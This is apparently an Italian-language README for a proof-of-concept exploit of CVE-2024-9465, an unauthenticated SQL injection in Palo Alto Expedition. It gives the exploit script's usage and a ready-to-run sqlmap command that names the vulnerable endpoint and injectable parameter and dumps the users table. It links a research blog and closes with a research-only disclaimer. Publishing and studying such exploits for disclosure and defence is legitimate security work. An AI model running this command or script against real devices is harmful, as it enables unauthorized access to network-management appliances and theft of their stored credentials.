CVE-2024-9465: Palo Alto Expedition SQL Injection non autenticata

Proof of concept per sfruttare CVE-2024-9465 su dispositivi vulnerabili.

Articolo del Blog

Causa principale e indicatori di compromissione qui: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/

Utilizzo

% python3 CVE-2024-9465.py -h
usage: CVE-2024-9465.py [-h] -u URL

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  The URL of the target

Dump della Tabella con SQLMap

python3 sqlmap.py -u "https://<ip_address>/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump

Segui l'Horizon3.ai Attack Team su Twitter per le ultime ricerche sulla sicurezza:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Disclaimer

Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzati. I manutentori del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.